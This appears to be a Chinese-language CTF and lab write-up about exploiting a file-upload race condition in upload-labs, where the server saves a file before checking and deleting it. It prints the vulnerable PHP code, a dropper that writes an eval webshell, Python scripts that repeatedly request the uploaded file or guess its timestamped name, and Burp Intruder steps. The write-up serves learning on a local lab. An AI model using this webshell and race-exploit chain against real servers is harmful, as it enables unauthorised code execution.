原理
之前在ctfshow刷题时遇到了有关session.upload_progress
的利用,学到一半发现出了个没见过的新玩意:条件竞争。原本想早些啃下来的,奈何技能大赛被抓去打取证和设备,于是就搁置了。虽说这俩都是迟早要学习的东西吧,但确实很难让我提起兴趣(web安全真香)。历经一周的折磨后我终于能有时间来把这一块搞明白了。
条件竞争的原理其实并不难理解,Freebuf上有一片帖子描述的就很贴切:唯快不破。
举个栗子:我们用ATM机提现,账户余额有500元。我们向ATM发出提取500元的请求,提取完毕后,ATM机会执行一个清空我们余额的行为;那么倘若我们在提取500元的请求与清空余额的行为之间再发出一个提取500元的请求,那会怎么样呢?
倘若请求发出成功,那结果便是我们多提取了500元,这便是条件竞争。
再深一点的目前我讲不明白,至少我现在这个阶段这么理解暂且没有问题
我接触到的条件竞争利用便是文件上传,在网站检测到我们上传了恶意文件后,会有一个删除恶意文件的动作,我们只需要在该文件被删除前利用这个文件即可,因此我在upload-labs进行了相关实验
相关实验
题目
源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
|
可以看到后端对我们上传的文件进行了重命名,用两位随机数与时间戳进行拼接,正是这一段代码引出了后面有关python脚本的学习, 虽然这题本身并没有那么复杂,但还是要感谢开拓了我的思维的学长。
条件竞争部分:
1
2
3
4
5
6
7
8
|
if(move_uploaded_file($temp_file, $upload_file)){
if(...){
...
}
else{
unlink($upload_file)
}
}
|
这段代码的执行逻辑为:先移动,后检测,不符合再删除
因此这里给了我们利用条件竞争的机会
利用方法
分三个部分:
-
首先是我们上传的恶意代码,倘若直接上传webshell,由于利用时间太短,不可能给我们getshell的机会,因此可以写一个用于创建webshell的文件,这样只要我们成功访问该脚本,就可以在服务器上留下另一个webshell
-
其次是用python脚本不断访问这个恶意脚本,直至条件竞争利用成功
-
最后用burp持续上传脚本文件,总有一次会在服务端检测到恶意文件至删除文件这个时间段内被python脚本访问到的
具体实现
恶意文件backdoor.php
内容如下:
1
|
<?php fputs(fopen('shell.php', 'w'), '<?php @eval($_POST["cmd"])?>');
|
python脚本:
1
2
3
4
5
6
7
8
9
10
|
import requests
url = "http://localhost:8081/upload/backdoor.php"
while True:
r = requests.get(url)
if r.status_code == 200:
print("Upload success!")
break
else:
print("Retrying.")
|
burp设置:
抓包后发送到Intruder,将Payload type
设置为Null payloads
,用于发送原本的包,并设置发送次数
接着就可以开始上传了
首先运行python脚本,接着burp开始上传,很快就可以利用成功
接下来就可以getshell了
有关python脚本的学习
还记得之前源码中的那段改文件名的时间戳么,没错,虽然聪哥方向错了(也许是大意了,没注意程序的执行顺序),但他针对这个重命名文件所做出的操作令我大开眼界
主要代码
1
|
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
|
首先上传一张图片看看被修改后的图片名
她真好看
结合源码不难看出拼接过程如下:
-
前两位为10-99中随机的数
-
后14位是依据当下时间生成的时间戳
因此文件上传后的文件名是我们可以预测的
用到的库:
-
requests:用于发送http请求
-
datetime:用于构造时间戳
为了构造时间戳,首先要获得当下的时间
1
|
nowTime = datetime.datetime.now()
|
此时的nowTime
变量可以拆解成年月日时分秒,例如
1
|
print(nowTime.year) # 输出2024
|
由于我们最后是要进行拼接的,因此需要转化为字符串
1
|
print(str(nowTime.year)
|
接下来就可以进行拼接了
1
2
3
4
5
6
7
8
9
|
nowTime = datetime.datetime.now()
stamp = (
str(nowTime.year)+
str(nowTime.month)+
str(nowTime.day)+
str(nowTime.hour)+
str(nowTime.minute)+
str(nowTime.second)
)
|
但是这同样有问题,因为在时间戳中,单独的数要用0补全为两位
因此要用到zfill()
函数
最后再用for循环构造前两位随机数
最后便可写出如下脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
import requests
import datetime
url = "http://localhost:10086/upload/%s.php"
def Attack(target):
r = requests.get(target)
if r.status_code == 200:
print("Upload seccessed!")
exit()
else:
print("Retrying.")
while True:
for i in range(10, 99):
nowTime = datetime.datetime.now()
stamp = (
str(nowTime.year)
+ str(nowTime.month).zfill(2)
+ str(nowTime.day).zfill(2)
+ str(nowTime.hour).zfill(2)
+ str(nowTime.minute).zfill(2)
+ str(nowTime.second).zfill(2)
)
target = url % (str(i) + stamp)
Attack(target)
|